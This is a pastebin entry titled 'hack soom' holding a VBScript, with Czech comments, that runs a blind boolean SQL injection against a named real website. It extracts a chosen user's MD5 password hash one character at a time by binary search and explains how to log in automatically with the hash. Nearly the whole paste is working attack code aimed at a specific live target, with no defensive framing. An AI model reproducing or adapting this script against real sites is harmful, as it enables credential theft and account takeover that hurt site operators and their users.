hack soom

From cm3l1k1, 5 Years ago, written in Visual Basic, viewed 677 times.
URL http://paste.security-portal.cz/view/e1e45a33 Shorturl http://gw.gd/UoDS Embed
Download Paste or View Raw
  1. 'old times :] (from callplayer)
  2.  
  3. Option Explicit
  4.  
  5. ' Script zjisti heslo z databaze pro zadany login. Heslo je ulozene ve forme
  6. ' MD5 hashe. Po ziskani hesla je z neho potreba 3x vypocitat MD5 hash. MD5(MD5(MD5($heslo))).
  7. ' Prihlaseni se pak provede nasledovne:
  8. ' http://www.soom.cz/index.php?auto_login_login=$login&auto_login_password=$3x_hash_hesla
  9.  
  10. Const passwordLength = 32
  11.  
  12. Const articleTrueId = 174
  13. Const articleTrueText = "WWWhack"
  14.  
  15. Const articleFalseId = 171
  16. Const articleFalseText = "Nslookup"
  17.  
  18. Dim scriptName, login
  19.  
  20.   Main
  21.  
  22.   Function charCodeSeq(ByVal chars)
  23.   Dim i,length
  24.  
  25.     length = Len(chars)
  26.     charCodeSeq = "CONCAT("
  27.     For i = 1 To length - 1
  28.       charCodeSeq = charCodeSeq & "CHAR(" & Cstr(Asc(Mid(chars,i,1))) & "),"
  29.     Next
  30.     If length > 0 Then
  31.       charCodeSeq = charCodeSeq & "CHAR(" & Cstr(Asc(Mid(chars,length,1))) & ")"
  32.     End if
  33.     charCodeSeq = charCodeSeq & ")"
  34.   End Function
  35.  
  36.   Function testCharVal(ByVal offset,ByVal operator,ByVal value)
  37.   Dim XHR, t, v, url
  38.  
  39.     Set XHR = CreateObject("MSXML2.XMLHTTP")
  40.    
  41.     t = "ASCII(SUBSTRING((SELECT heslo FROM users WHERE UPPER(login) = " & charCodeSeq(UCase(login)) & ")," & Cstr(offset) & ",1)) " & operator & " " & Cstr(value)
  42.     v = "IF(" & t & "," & CStr(articleTrueId) & "," & CStr(articleFalseId) & ")"
  43.     url = "http://www.soom.cz/index.php?name=usertexts/show&aid=" & Escape(v)
  44.  
  45.     XHR.Open "GET",url,False
  46.     XHR.Send NULL
  47.    
  48.     If InStr(XHR.responseText,articleTrueText) Then
  49.       testCharVal = True
  50.     ElseIf InStr(XHR.responseText,articleFalseText) Then
  51.       testCharVal = False
  52.     Else
  53.       Err.Raise 1, scriptName & ".testCharVal", "Nepredvidana odpoved serveru"
  54.     End if
  55.    
  56.   End Function
  57.  
  58.   Function findChar(ByVal offset,Byval l,ByVal r)
  59.   Dim m,c
  60.  
  61.     Do While r >= l
  62.       m = (l + r) \ 2
  63.       If testCharVal(offset,"<",m) Then
  64.         r = m - 1
  65.       ElseIf testCharVal(offset,">",m) Then
  66.         l = m + 1
  67.       ElseIf testCharVal(offset,"=",m) Then
  68.         findChar = Chr(m)
  69.         Exit Function
  70.       Else
  71.         findChar = False
  72.         Exit Function
  73.       End if
  74.     Loop
  75.  
  76.     findChar = False
  77.   End Function
  78.  
  79.   Sub Main()
  80.   Dim FSO
  81.   Dim i,r,password
  82.  
  83.     If WScript.arguments.length <> 1 Then
  84.       WScript.Echo "Syntaxe: " & scriptName & " login"
  85.       WScript.Quit 1
  86.     End if
  87.    
  88.     scriptName = WScript.ScriptName
  89.     login = WScript.arguments(0)
  90.    
  91.     WScript.Echo "Login: " & login
  92.     WScript.Echo "Delka hesla: " & passwordLength
  93.     WScript.Echo ""
  94.    
  95.     For i = 1 To passwordLength
  96.       r = findChar(i,0,255)
  97.       If VarType(r) = vbString Then
  98.         WScript.Echo "Pocet zjistenych znaku " & i & " z " & passwordLength
  99.         password = password & r
  100.         WScript.Echo "Heslo: " & password & String(passwordLength - i,"?")
  101.       Else
  102.         WSCript.Echo "Nepodarilo se zjistit znak"
  103.         Exit Sub
  104.       End if
  105.     Next
  106.  
  107.  
  108.   End Sub
  109.  

Reply to "hack soom"

Here you can reply to the paste above